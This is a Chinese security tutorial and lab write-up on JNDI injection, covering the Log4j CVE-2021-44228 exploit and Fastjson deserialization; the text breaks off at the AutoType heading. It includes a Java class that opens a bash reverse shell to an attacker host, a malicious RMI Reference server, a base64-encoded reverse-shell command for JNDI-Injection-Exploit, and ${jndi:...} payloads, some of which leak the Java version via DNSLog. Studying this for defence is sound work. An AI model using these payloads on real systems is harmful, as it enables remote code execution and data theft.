从Log4j和Fastjson RCE漏洞认识jndi注入

文章目录

前言

接着前文的学习《Java反序列化漏洞与URLDNS利用链分析》,想了解为什么 Fastjson 反序列化漏洞的利用与 JNDI 注入相关?同时发现著名的 Log4j 任意代码执行漏洞也是基于 JNDI 注入,于是通过 Fastjson 反序列化漏洞(CVE-2017-18349)和 Log4j RCE(CVE-2021-44228)两个著名的 CVE 漏洞,来学习下 Java JNDI 注入的原理以及在漏洞利用中的使用。

JNDI注入

JNDI (Java Naming Directory Interface) 是 Java 提供的一个通用接口,使用它可以与各种不同的命名服务 (Naming Service) 和目录服务 (Directory Service) 进行交互,比如 RMI (Remote Method Invocation),LDAP (Lightweight Directory Access Protocol),Active Directory,DNS,CORBA等。

基础介绍

JNDI 提供统一的客户端 API,通过使用 JDNI,Java应用程序可以访问各种不同类型的命名和目录服务,如文件系统、LDAP、DNS 等。这样,Java 应用程序能够轻松地与各种不同类型的资源进行交互,而无需关心底层的细节实现。

通俗地说就是若程序定义了 JDNI 中的接口,则就可以通过该接口 API 访问系统的 命令服务 和 目录服务,如下图。

JNDI API 支持的相关协议信息如下:

协议 作用
LDAP 轻量级目录访问协议,约定了 Client 与 Server 之间的信息交互格式、使用的端口号、认证方式等内容
RMI JAVA 远程方法协议,该协议用于远程调用应用程序编程接口,使客户机上运行的程序可以调用远程服务器上的对象
DNS 域名服务
CORBA 公共对象请求代理体系结构

RMI 协议

JNDI 对访问 RMI 或者 ldap 服务的代码进行了封装,我们使用 JNDI 就可以访问这些服务,不需要自己再去关注访问服务的细节。JNDI 相当于是客户端,而 RMI,LDAP 等这些是服务端。

RMI 协议在前面的文章学习过:《渗透测试-Fastjson 1.2.47 RCE漏洞复现》。 LADP 协议请参见《JNDI注入原理及利用考究》,RMI 协议相对于 LADP 协议较为简单。

Java 远程方法调用,简称 Java RMI(Java Remote Method Invocation),是 Java 编程语言里,一种用于实现远程过程调用的应用程序编程接口。它使客户机上运行的程序可以调用远程服务器上的对象。远程方法调用特性使 Java 编程人员能够在网络环境中分布操作。RMI 全部的宗旨就是尽可能简化远程接口对象的使用。

JAVA RMI简单示例

本示例是client端调用server端远程对象的加减法方法,具体步骤为:

1、定义一个远程接口

java 复制代码
import java.rmi.Remote;
import java.rmi.RemoteException;

/**
 * 必须继承Remote接口。
 * 所有参数和返回类型必须序列化(因为要网络传输)。
 * 任意远程对象都必须实现此接口。
 * 只有远程接口中指定的方法可以被调用。
 */
public interface IRemoteMath extends Remote {
      // 所有方法必须抛出RemoteException
    public double add(double a, double b) throws RemoteException;
    public double subtract(double a, double b) throws RemoteException;

}

2、远程接口实现类

java 复制代码
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
import remote.IRemoteMath;

/**
 * 服务器端实现远程接口。
 * 必须继承UnicastRemoteObject,以允许JVM创建远程的存根/代理。
 */
public class RemoteMath extends UnicastRemoteObject implements IRemoteMath {

    private int numberOfComputations;

    protected RemoteMath() throws RemoteException {
        numberOfComputations = 0;
    }

    @Override
    public double add(double a, double b) throws RemoteException {
        numberOfComputations++;
        System.out.println("Number of computations performed so far = " + numberOfComputations);
        return (a+b);
    }

    @Override
    public double subtract(double a, double b) throws RemoteException {
        numberOfComputations++;
        System.out.println("Number of computations performed so far = " + numberOfComputations);
        return (a-b);
    }
}

3、服务器端

java 复制代码
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import remote.IRemoteMath;

/**
 * 创建RemoteMath类的实例并在rmiregistry中注册。
 */
public class RMIServer {
    public static void main(String[] args)  {
        public static String HOST = "127.0.0.1";
        public static int PORT = 8089;
        public static String RMI_PATH = "/math";
        public static final String RMI_NAME = "rmi://" + HOST + ":" + PORT + RMI_PATH;
        try {
            // 注册RMI端口
            LocateRegistry.createRegistry(PORT);
            // 创建一个服务
            IRemoteMath remoteMath = new RemoteMath();  
            // 服务命名绑定        
            Registry registry = LocateRegistry.getRegistry();
            registry.bind(RMI_NAME, remoteMath);
            System.out.println("Math server ready");
        } catch (Exception e) {
            e.printStackTrace();
        }        
    }
}

上面例子中的 RMI 服务绑定是本地的类。

另外一种 RMI 服务端代码写法(下文 JNDI 实践的"漏洞验证"章节也会用到),可以采用 Naming Reference 绑定远程的类(可用于 JNDI 攻击):

java 复制代码
public class Main {
    public static void main(String[] args) {
        try{
            Registry registry = LocateRegistry.createRegistry(1099);
            String url = "http://192.168.0.120:8081/";
            // Reference 需要传入三个参数 (className,factory,factoryLocation)
            // 第一个参数随意填写即可,第二个参数填写我们 http 服务下的类名,第三个参数填写我们的远程地址
            Reference reference = new Reference("evil", "EvilShell", url);
            ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
            registry.bind("getShell", referenceWrapper);
            System.out.println("Hello world!");
        }catch (Exception e){
            e.printStackTrace();
        }
    }
}

其中 "http://192.168.0.120:8081/"为一个存放了恶意类 class 文件的 http 服务地址:

java 复制代码
// javac EvilShell.java
import java.lang.Runtime;
import java.lang.Process;

public class EvilShell {
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"/bin/bash","-c","bash -i >& /dev/tcp/192.168.0.114/6666 0>&1"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }
}

Java 为了将 Object 对象存储在 Naming 或 Directory 服务下,提供了 Naming Reference 功能,对象可以通过绑定 Reference 存储在 Naming 或 Directory 服务下,比如 RMI、LDAP 等。绑定 Reference 之后,服务端会先通过 Referenceable.getReference() 获取绑定对象的引用,并且在目录中保存。当客户端在 lookup() 查找这个远程对象时,客户端会获取相应的 object factory,最终通过 factory 类将 reference 转换为具体的对象实例。

在使用Reference时,我们可以直接将对象传入构造方法中,当被调用时,对象的方法就会被触发,创建 Reference 实例时几个比较关键的属性:

  1. className:远程加载时所使用的类名;
  2. classFactory:加载的 class 中需要实例化类的名称;
  3. classFactoryLocation:远程加载类的地址,提供 classes 数据的地址可以是 file/ftp/http 等协议;

通过 Naming Reference 功能,JNDI 客户端可以加载远程的 RMI 服务的 class 文件来进行实例化。通过 lookup 指定一个远程服务,远程服务是通过 Reference 来远程加载类文件。加载远程类的时候 static 静态代码块、无参构造函数和 getObjectInstance 方法都会被调用。

4、客户端代码

java 复制代码
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import remote.IRemoteMath;

public class MathClient {
    public static void main(String[] args) {
        try { 
            // 如果RMI Registry就在本地机器上,URL就是:rmi://localhost:8089/math,否则就是:rmi://RMIService_IP:8089/math
            Registry registry = LocateRegistry.getRegistry("127.0.0.1", 8089);        
            // 从Registry中检索远程对象的存根/代理
            IRemoteMath remoteMath = (IRemoteMath) registry.lookup("rmi://127.0.0.1:8089/math");
            // 调用远程对象的方法
            double addResult = remoteMath.add(5.0, 3.0);
            System.out.println("5.0 + 3.0 = " + addResult);
            double subResult = remoteMath.subtract(5.0, 3.0);
            System.out.println("5.0 - 3.0 = " + subResult);            
        }catch(Exception e) {
            e.printStackTrace();
        }            
    }
}

结果如下:

客户端如果直接通过 JNDI 提供的 Context 上下文直接访问上述 RMI 服务的话,则代码如下:

java 复制代码
import java.util.Properties;

import javax.naming.Context;
import javax.naming.InitialContext;

public class testClient {
    public static void main(String[] args) throws Exception{
        //配置JNDI工厂和JNDI的url和端口。如果没有配置这些信息,会出现NoInitialContextException异常
        //Properties env = new Properties();
        //env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
        //env.put(Context.PROVIDER_URL, "rmi://localhost:1099");
        // 创建初始化环境
        Context ctx = new InitialContext();
        // jndi的方式获取远程对象
        IRemoteMath remoteMath = (IRemoteMath) ctx.lookup("rmi://127.0.0.1:8089/math");
        //ctx.lookup("ldap://localhost:8088/EvilObj");
        // 调用远程对象的方法
        System.out.println(remoteMath.add(5.0, 3.0));
    }
}

JNDI注入

JNDI 注入指的是:

  1. 【主要】当开发者在定义 JNDI 接口初始化时,lookup() 方法的参数可控,攻击者就可以将恶意的 url 传入参数远程加载恶意载荷,造成注入攻击。
  2. 或者 RMI 服务的 Reference 类构造方法的参数外部可控时,会使用户的 JNDI 客户端访问 RMI 注册表中绑定的恶意 Reference 类,从而加载远程服务器上的恶意 class 文件在客户端本地执行,最终实现 JNDI 注入攻击导致远程代码执行。

JNDI 注入缺陷特征:

  1. 客户端的 lookup() 方法参数可控;
  2. 服务端在使用 Reference 时,classFactoryLocation 参数可控

上面两个都是在编写程序时可能存在的脆弱点,任意一个满足就行

JNDI 注入利用流程:

  1. 目标代码中调用了 InitialContext.lookup(URI),且 URI 为用户可控;
  2. 攻击者控制 URI 参数为恶意的 RMI 服务地址,如:rmi://hacker_rmi_server//name;
  3. 攻击者 RMI 服务器向目标返回一个 Reference 对象,Reference 对象中指定某个精心构造的 Factory 类;
  4. 目标在进行 lookup() 操作时,会动态加载并实例化 Factory 类,接着调用 factory.getObjectInstance() 获取外部远程对象实例;
  5. 攻击者可以在 Factory 类文件的构造方法、静态代码块、getObjectInstance() 方法等处写入恶意代码,达到 RCE 的效果;

JNDI 注入对 JAVA 版本有相应的限制,具体可利用版本如下:

协议 JDK6 JDK7 JDK8 JDK11
LADP 6u211以下 7u201以下 8u191以下 11.0.1以下
RMI 6u132以下 7u122以下 8u113以下

高版本的 JDK 的 JNDI 注入限制也存在一些绕过手段,参见:《如何绕过高版本JDK的限制进行JNDI注入利用》。

靶场搭建

靶场环境:Hello-Java-Sec

JNDI 注入漏洞代码:https://github.com/j3ers3/Hello-Java-Sec/blob/master/src/main/java/com/best/hello/controller/JNDI/JNDIInject.java

java 复制代码
   /**
     * lookup 方法会将传入的参数当作 JNDI 名称,如果参数值包含恶意的 JNDI 名称,那么攻击者就可以通过这种方式来执行任意的 JNDI 操作。
     * lookup:通过名字检索执行的对象,当lookup()方法的参数可控时,攻击者便能提供一个恶意的url地址来加载恶意类。
     * payload: java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "open -a Calculator" -A 127.0.0.1
     * PoC http://127.0.0.1:8888/JNDI/vul?content=ldap://127.0.0.1:1389/txhadi
     */
    @ApiOperation(value = "vul:JNDI注入")
    @GetMapping("/vul")
    public String vul(String content) {
        log.info("[vul] JNDI注入:" + content);
        try {
            Context ctx = new InitialContext();
            ctx.lookup(content);
        } catch (Exception e) {
            log.warn("JNDI错误消息");
        }
        return "JNDI注入";
    }

自建 Docker 容器

Ubuntu 虚拟机中,创建 Dockerfile 文件如下:

shell 复制代码
# 基础镜像,默认低版本的java8("1.8.0_111"),下载失败就更换镜像源
FROM java
# 设定时区
ENV TZ=Asia/Shanghai
RUN ln -snf /usr/share/zoneinfo/$TZ /etc/localtime && echo $TZ > /etc/timezone
# 拷贝jar包
COPY javasec-1.11.jar /tmp/javasec1.11.jar
#开放端口
EXPOSE 8888
# 入口
ENTRYPOINT ["java", "-jar", "/tmp/javasec1.11.jar"]

在放置了 Dockerfile 文件和 javasec1.11.jar 文件的路径下执行如下命令,创建目标镜像:

shell 复制代码
test@ubuntu:~/Downloads/Hello-Java-Sec$ vim Dockerfile
test@ubuntu:~/Downloads/Hello-Java-Sec$ docker build -t docker-demo .
DEPRECATED: The legacy builder is deprecated and will be removed in a future release.
            Install the buildx component to build images with BuildKit:
            https://docs.docker.com/go/buildx/

Sending build context to Docker daemon  90.23MB
Step 1/6 : FROM java
latest: Pulling from library/java
Digest: sha256:c1ff613e8ba25833d2e1940da0940c3824f03f802c449f3d1815a66b7f8c0e9d
Status: Downloaded newer image for java:latest
 ---> d23bdf5b1b1b
Step 2/6 : ENV TZ=Asia/Shanghai
 ---> Running in fda692eef7e5
Removing intermediate container fda692eef7e5
 ---> a792dba8f3d2
Step 3/6 : RUN ln -snf /usr/share/zoneinfo/$TZ /etc/localtime && echo $TZ > /etc/timezone
 ---> Running in 1739257a2432
Removing intermediate container 1739257a2432
 ---> 931ee7d2c868
Step 4/6 : COPY javasec-1.11.jar /tmp/javasec1.11.jar
 ---> a81924fb1a42
Step 5/6 : EXPOSE 8888
 ---> Running in 58cc4139551d
Removing intermediate container 58cc4139551d
 ---> b86b11ddc81e
Step 6/6 : ENTRYPOINT ["java", "-jar", "/tmp/javasec1.11.jar"]
 ---> Running in 6997bba01f39
Removing intermediate container 6997bba01f39
 ---> 31ddaf9657fd
Successfully built 31ddaf9657fd
Successfully tagged docker-demo:latest
test@ubuntu:~/Downloads/Hello-Java-Sec$
test@ubuntu:~/Downloads/Hello-Java-Sec$ docker images
REPOSITORY                                                           TAG            IMAGE ID       CREATED          SIZE
docker-demo                                                          latest         31ddaf9657fd   36 seconds ago   729MB
......
test@ubuntu:~/Downloads/Hello-Java-Sec$

运行镜像:

shell 复制代码
test@ubuntu:~/Downloads/Hello-Java-Sec$ docker run -d --name dd -p 8888:8888 docker-demo
ef4178ffc31f65ee157c17850fede12641f2383ce9c5ab5b1efe3b1c845d8bce
test@ubuntu:~/Downloads/Hello-Java-Sec$ 
test@ubuntu:~/Downloads/Hello-Java-Sec$ docker ps -a
CONTAINER ID   IMAGE         COMMAND                  CREATED         STATUS         PORTS                                       NAMES
ef4178ffc31f   docker-demo   "java -jar /tmp/java..."   6 minutes ago   Up 6 minutes   0.0.0.0:8888->8888/tcp, :::8888->8888/tcp   dd
test@ubuntu:~/Downloads/Hello-Java-Sec$
test@ubuntu:~/Downloads/Hello-Java-Sec$ docker exec -it ef /bin/sh
# java -version
openjdk version "1.8.0_111"
OpenJDK Runtime Environment (build 1.8.0_111-8u111-b14-2~bpo8+1-b14)
OpenJDK 64-Bit Server VM (build 25.111-b14, mixed mode)
# 
# ps -ef|grep java
root           1       0 54 17:07 ?        00:00:16 java -jar /tmp/javasec1.11.jar
root          62      40  0 17:08 pts/0    00:00:00 grep java
# 

然而发现访问宿主机 8888 端口即可,如果遇到访问失败,请重启虚拟机容器服务(systemctl restart docker)或网络即可(踩坑经历)......

【More】

可对比下 Hello-Java-Sec 靶场 Docker 部署,官方指导部署步骤:

java 复制代码
mvn clean package
./deploy.sh
// deploy.sh的内容:docker build -t javasec . && docker run -d -p 80:8888 -v logs:/logs javasec

存在的问题:

解决方法是将项目的 Dockerfile 文件中的 javasec-1.7.jar 修改为 javasec-1.11.jar:

成功启动 Hello-Java-Sec 靶场容器(此时拉取的镜像也是低版本的 java8("1.8.0_111"),方便漏洞利用和复现):

java 复制代码
test@ubuntu:~/Downloads/Hello-Java-Sec/Hello-Java-Sec-master$ ./deploy.sh
DEPRECATED: The legacy builder is deprecated and will be removed in a future release.
            Install the buildx component to build images with BuildKit:
            https://docs.docker.com/go/buildx/

Sending build context to Docker daemon   93.4MB
Step 1/6 : FROM java:8
 ---> d23bdf5b1b1b
Step 2/6 : VOLUME /tmp
 ---> Using cache
 ---> f53f1fc48ac4
Step 3/6 : ADD ./target/javasec-1.11.jar app.jar
 ---> 827b8c11311e
Step 4/6 : EXPOSE 8888
 ---> Running in ca97d4e12a88
Removing intermediate container ca97d4e12a88
 ---> 203f8633a5ff
Step 5/6 : RUN sh -c 'touch /app.jar'
 ---> Running in 571fa29af378
Removing intermediate container 571fa29af378
 ---> 69545e85bfec
Step 6/6 : ENTRYPOINT ["java","-Djava.security.egd=file:/dev/./urandom","-jar","/app.jar"]
 ---> Running in e87ac41a90f6
Removing intermediate container e87ac41a90f6
 ---> 605e05da2589
Successfully built 605e05da2589
Successfully tagged javasec:latest
65aba6a67d1d7984418846ac87ce74e122f361970e9f6a2595cbe4c22b425158
test@ubuntu:~/Downloads/Hello-Java-Sec/Hello-Java-Sec-master$
test@ubuntu:~/Downloads/Hello-Java-Sec/Hello-Java-Sec-master$ docker ps -a
CONTAINER ID   IMAGE     COMMAND                  CREATED          STATUS          PORTS                                   NAMES
65aba6a67d1d   javasec   "java -Djava.securit..."   44 seconds ago   Up 43 seconds   0.0.0.0:80->8888/tcp, :::80->8888/tcp   zen_borg
test@ubuntu:~/Downloads/Hello-Java-Sec/Hello-Java-Sec-master$ netstat -ntpl
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:41589         0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:631           0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -                   
tcp6       0      0 :::80                   :::*                    LISTEN      -                   
tcp6       0      0 ::1:631                 :::*                    LISTEN      -                   
test@ubuntu:~/Downloads/Hello-Java-Sec/Hello-Java-Sec-master$

访问宿主机的 80 端口接口即可:

漏洞验证

Hello-Java-Sec 中的 JNDI 注入请求如下(使用自建的 Docker 容器环境),需要我们自行构造一个 RMI 服务进行注入来实现 RCE:

Ubuntu 虚拟机(192.168.0.120)通过 IDEA 创建一个 RMI 服务(附:Ladp 服务的搭建可以参见 Hello-Java-Sec 提供的示例代码:JNDILdapServer.java):

java 复制代码
package org.example;

import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class Main {
    public static void main(String[] args) {
        try{
            Registry registry = LocateRegistry.createRegistry(1099);
            String url = "http://192.168.0.120:8081/";
            // Reference 需要传入三个参数 (className,factory,factoryLocation)
            // 第一个参数随意填写即可,第二个参数填写我们 http 服务下的类名,第三个参数填写我们的远程地址
            Reference reference = new Reference("evil", "EvilShell", url);
            ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
            registry.bind("getShell", referenceWrapper);
            System.out.println("Hello world!");
        }catch (Exception e){
            e.printStackTrace();
        }
    }
}

同时创建一个恶意 Java 类,用于"远程"加载后执行恶意代码:

java 复制代码
// javac EvilShell.java
import java.lang.Runtime;
import java.lang.Process;

public class EvilShell {
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"/bin/bash","-c","bash -i >& /dev/tcp/192.168.0.114/6666 0>&1"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }
}

执行 javac EvilShell.java 命令生成 EvilShell.class 文件,然后通过 Python 搭建一个 Http Server,方便 RMI 服务远程加载:

在 Kali 攻击机(192.168.0.114)监听 6666 端口:

IDEA 启动 RMI 服务,然后 Burp 发送 HTTP 报文,执行 JNDI 注入攻击:

成功加载远程恶意类,并反弹 shell:

【思考】此处如果将 Hello-Java-Sec 的 jar 包直接通过高版本的 JDK8 启动,JNDI 注入的结果会如何?

直接试一下:

注入失败:

注入工具

JNDI 注入攻击开源辅助工具:https://github.com/welk1n/JNDI-Injection-Exploit

先对 Payload 进行 base64 编码:

java 复制代码
bash -i >& /dev/tcp/192.168.190.128/6666 0>&1
// base64 编码
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE5MC4xMjgvNjY2NiAwPiYx

然后一键自动搭建 RMI、LADP 服务(注意已亲测不可在高于 Java8 的环境下运行 JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar,会导致最终注入利用失败):

bash 复制代码
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE5MC4xMjgvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}" -A "XXX.XXX.XXX.227"

-C 指定需要执行的具体命令,-A 指定部署 RMI/LDAP 的服务器地址,成功搭建服务并访问:

成功反弹 Shell 到 Kali 攻击机:

显然,这个一键搭建 RMI、LADP 服务的工具,要比《渗透测试-Fastjson 1.2.47 RCE漏洞复现》曾用到的 marshalsec.jar 工具包方便许多,JNDI 注入漏洞可首选此辅助工具。

log4j RCE

2021 年 11 月 24 日,阿里云安全团队向 Apache 官方报告了 Apache Log4j2 远程代码执行漏洞(CVE-2021-44228)。Apache Log4j2 是一款优秀的 Java 日志框架,由于 Apache Log4j2 某些功能存在递归解析功能,攻击者可直接构造恶意请求,触发远程代码执行漏洞。漏洞利用无需特殊配置,经阿里云安全团队验证,Apache Struts2、Apache Solr、Apache Druid、Apache Flink 等均受影响,堪称"史诗级核弹漏洞"。

漏洞信息
漏洞名称 Apache log4j 远程代码执行漏洞
漏洞编码 CVE-2021-44228
漏洞危害 严重
漏洞时间 2021/12/10
受影响版本 Log4j 2.x <= 2.14.1 <= Log4j 2.15.0-rc1
利用难度
POC 已知
EXP 已知

漏洞分析

Ubuntu 虚拟机 IDEA 创建一个 Maven 项目,体验下 Log4j 组件的简单使用:

xml 复制代码
<dependencies>
  <!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-core -->
  <dependency>
    <groupId>org.apache.logging.log4j</groupId>
    <artifactId>log4j-core</artifactId>
    <version>2.14.1</version>
  </dependency>
  <!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-api -->
  <dependency>
    <groupId>org.apache.logging.log4j</groupId>
    <artifactId>log4j-api</artifactId>
    <version>2.14.1</version>
  </dependency>
</dependencies>

IDEA 安全告警提示存在组件漏洞:

本次漏洞是因为 Log4j2 组件中 lookup 功能的实现类 JndiLookup 的设计缺陷导致,这个类存在于 log4j-core.jar 中。

log4j 的Lookups 功能 可以快速打印包括运行应用容器的 docker 属性、环境变量、日志事件、Java 应用程序环境信息等内容。比如打印操作系统版本和 Java 运行时版本信息:

java 复制代码
private static final Logger logger = (Logger) LogManager.getLogger();

public static void main(String[] args) {
    logger.error("Get: {}", "${java:os}");
    logger.error("${java:runtime}");
}

输出结果如下所示,使用 JavaLookup (需要使用 java 前缀)获取到了相关信息:

而这个史诗级漏洞的触发正是只需要如下简简单单一行 JNDI 注入的 Payload:

java 复制代码
logger.info("${jndi:rmi://127.0.0.1:1099/calc}");

动态调试分析时,核心可以把目标放在 org.apache.logging.log4j.core.pattern.MessagePatternConverter#format:

java 复制代码
     public void format(final LogEvent event, final StringBuilder toAppendTo) {
        Message msg = event.getMessage();
        if (msg instanceof StringBuilderFormattable) {
            boolean doRender = this.textRenderer != null;
            StringBuilder workingBuilder = doRender ? new StringBuilder(80) : toAppendTo;
            int offset = workingBuilder.length();
            if (msg instanceof MultiFormatStringBuilderFormattable) {
                ((MultiFormatStringBuilderFormattable)msg).formatTo(this.formats, workingBuilder);
            } else {
                ((StringBuilderFormattable)msg).formatTo(workingBuilder);
            }

            if (this.config != null && !this.noLookups) {
                for(int i = offset; i < workingBuilder.length() - 1; ++i) {
                    if (workingBuilder.charAt(i) == '$' && workingBuilder.charAt(i + 1) == '{') {
                        String value = workingBuilder.substring(offset, workingBuilder.length());
                        workingBuilder.setLength(offset);
                        workingBuilder.append(this.config.getStrSubstitutor().replace(event, value));
                    }
                }
            }
          ...
        } else {
          ...
        }
    }

我们传入的 message 会通过 MessagePatternConverter.format(),判断如果 config 存在并且 noLookups 为 false(默认为false),然后匹配到 ${ 则通过 getStrSubstitutor() 替换原有的字符串,比如这里的 ${java:runtime} 。因为没有任何白名单检测,那么攻击者可以构造任何的字符串,只有符合 ${ 就可以。

继续往下走,来到 org.apache.logging.log4j.core.lookup.Interpolator#lookup

可以看到处理 event 的时候根据前缀选择对应的 StrLookup 进行处理,目前支持 date,jndi,java,main 等多种类型,如果构造的 event 是 jndi,则通过 JndiLoopup 进行处理,从而造成 JNDI 注入漏洞。

可进一步跟进:org.apache.logging.log4j.core.lookup.JndiLookup#lookup,可以看到 JNDI 注入的 sink 点:

漏洞靶场

https://github.com/j3ers3/Hello-Java-Sec/blob/master/src/main/java/com/best/hello/controller/ComponentsVul/Log4jVul.java

java 复制代码
@Api("Log4j2 反序列化漏洞")
@RestController
@RequestMapping("/Log4j")
public class Log4jVul {
    private static final Logger logger = LogManager.getLogger(Log4jVul.class);

    /**
     * 原理:一旦在log字符串中检测到${},就会解析其中的字符串尝试使用lookup查询,因此只要能控制log参数内容,就有机会实现漏洞利用。
     * 反弹shell: java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,str_base64}|{base64,-d}|{bash,-i}" -A IP
     *
     * content=${jndi:rmi://rmi.44qbby.dnslog.cn/a}
     */
    @PostMapping(value = "/vul")
    public String vul(@RequestParam("q") String q) {
        System.out.println(q);
        logger.error(q);
        return "Log4j2 JNDI Injection";
    }
}

同样对 Payload 进行 Base64 编码:

java 复制代码
bash -i >& /dev/tcp/192.168.190.128/6666 0>&1
// base64 编码
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE5MC4xMjgvNjY2NiAwPiYx

接着一键搭建 RMI 与 ldap 服务,远程调用成功:

成功反弹 Shell:

DNSLog 检测

建议使用 https://dnslog.org/,亲测 http://www.dnslog.cn/ 检测不出来。

java 复制代码
${jndi:ldap://${sys:java.version}.XXXX.log.dnslog.biz}
或者
${jndi:dns://${sys:java.version}.xxxx.log.dnslog.biz}

成功访问 DNS 服务器并获得目标服务器 java 版本信息:

【More】Payload 中使用 dns 协议也是 ok 的,JNDI 支持 DNS 协议:

检测工具

发现 Github 上几个开源的主流 Log4j 漏洞检测工具,实践并不是太好用,检测不出上述漏洞...Xray 社区版也是。

  1. https://github.com/whwlsfb/Log4j2Scan
  2. https://github.com/fullhunt/log4j-scan

可能靶场环境的问题??

建立新的 Log4j 靶场(vulhub/log4j/CVE-2021-44228)进行对比验证,使用 BurpSuite 多漏洞集成探测插件:Tsojan/TsojanScan



补丁绕过

2021 年年底此漏洞爆发那几天,引得无数厂商的安全运营人员通宵达旦处置,因为受影响的资产范围之大、漏洞利用难度之低、漏洞危害之大,无不让企业瑟瑟发抖。同时各路白帽子开始疯狂批量探测漏洞提交 SRC,最后逼得国内诸多 SRC 不得不暂停接收此漏洞哈哈。

临时处置

言归正传,当时的部分临时处置方案如下:

  • 添加 jvm 启动参数 -Dlog4j2.formatMsgNoLookups=true;
  • 修改配置文件 log4j2.formatMsgNoLookups=True;
  • 修改环境变量 FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS,设置为 true;
  • 禁用 lookup 或 JNDI 服务(可将 jdk 升级到最新的版本);
  • 恶意流量中可能存在 jndi:ladp://、jdni:rmi,给安全设备 IDS 和 WAF 编写相应规则从流量中拦截攻击流量;

安全补丁

在阿里云安全团队披露此漏洞大概两周后,Apache 官方紧急发布了安全更新版本 log4j-2.15.0-rc1,此版本默认关闭了 lookup 功能并增加了白名单校验,但是研究人员又发现在用户错误开启 lookup 时可以绕过白名单校验。

JndiManager.lookup 方法中对 JNDI 协议、主机名、类名进行了白名单校验:

但是在 lookup 方法中,异常处理的 catch 中并没有 return,所以这就造成造成异常后可以继续向下运行 this.context.lookup 触发漏洞

【More】漏洞详细的调试分析步骤和官方最初安全补丁的绕过可以参见:《Apache Log4j2 漏洞分析 | Gta1ta's Blog》,以及《Apache Log4j2 Jndi RCE 高危漏洞分析与防御》。

Fastjson RCE

前文《渗透测试-Fastjson 1.2.47 RCE漏洞复现》简单介绍过 Fastjson 1.2.47 版本(注意 Fastjson 最开始出现 RCE 漏洞的版本为 2017 年披露的 1.2.24,即CVE-2017-18349) 的漏洞简介和复现步骤,下面来进一步看看漏洞原理和漏洞利用方法。

漏洞分析

Fastjson 是阿里巴巴开源的 JSON 解析库(项目地址:https://github.com/alibaba/fastjson),它可以解析 JSON 格式的字符串,支持将 Java Object 序列化为 JSON 字符串(常用于 Java 后端解析前端传递过来的 JSON 格式字符串),也可以从 JSON 字符串反序列化到 Java Object。

Fastjson 提供了两个主要接口来分别实现对于 Java Object 的序列化和反序列化操作。

java 复制代码
JSON.toJSONString
JSON.parseObject 或者 JSON.parse

来看看具体如何使用,先给自己的 Maven 项目添加依赖:

xml 复制代码
<dependency>
  <groupId>com.alibaba</groupId>
  <artifactId>fastjson</artifactId>
  <version>1.2.47</version>
</dependency>

对于 Fastjson 来讲,并不是所有的 Java 对象都能被转为 JSON,只有 Java Bean 格式的对象才能通过 Fastjson 转为 JSON,先创建一个 JavaBean:

java 复制代码
package com.tr0e.sec.Entity;

import lombok.AllArgsConstructor;
import lombok.Data;
import lombok.NoArgsConstructor;

@Data
@AllArgsConstructor
@NoArgsConstructor
public class Person {

    private String name;

    private int age;
}

接着看下 Fastjson 的序列化和反序列化的示例代码:

java 复制代码
        //创建一个Java Bean对象
        Person person = new Person();
        person.setName("Tr0e");
        person.setAge(18);

        System.out.println("--------------序列化-------------");
        //将其序列化为JSON
        String JSON_Serialize = JSON.toJSONString(person);
        System.out.println(JSON_Serialize);

        System.out.println("-------------反序列化-------------");
        //使用parse方法,将JSON反序列化为一个JSONObject
        Object o1 =  JSON.parse(JSON_Serialize);
        System.out.println(o1.getClass().getName());
        System.out.println(o1);

        System.out.println("-------------反序列化-------------");
        //使用parseObject方法,将JSON反序列化为一个JSONObject
        Object o2 = JSON.parseObject(JSON_Serialize);
        System.out.println(o2.getClass().getName());
        System.out.println(o2);

        System.out.println("-------------反序列化-------------");
        //使用parseObject方法,并指定类,将JSON反序列化为一个指定的类对象
        Object o3 = JSON.parseObject(JSON_Serialize,Person.class);
        System.out.println(o3.getClass().getName());
        System.out.println(o3);

输出结果如下所示:

java 复制代码
--------------序列化-------------
{"age":18,"name":"Tr0e"}
-------------反序列化-------------
com.alibaba.fastjson.JSONObject
{"name":"Tr0e","age":18}
-------------反序列化-------------
com.alibaba.fastjson.JSONObject
{"name":"Tr0e","age":18}
-------------反序列化-------------
com.tr0e.sec.Entity.Person
Person(name=Tr0e, age=18)

可以看到,如果我们反序列化时不指定特定的类,那么 Fastjosn 就默认将一个 JSON 字符串反序列化为一个 JSONObject。

AutoType 特性

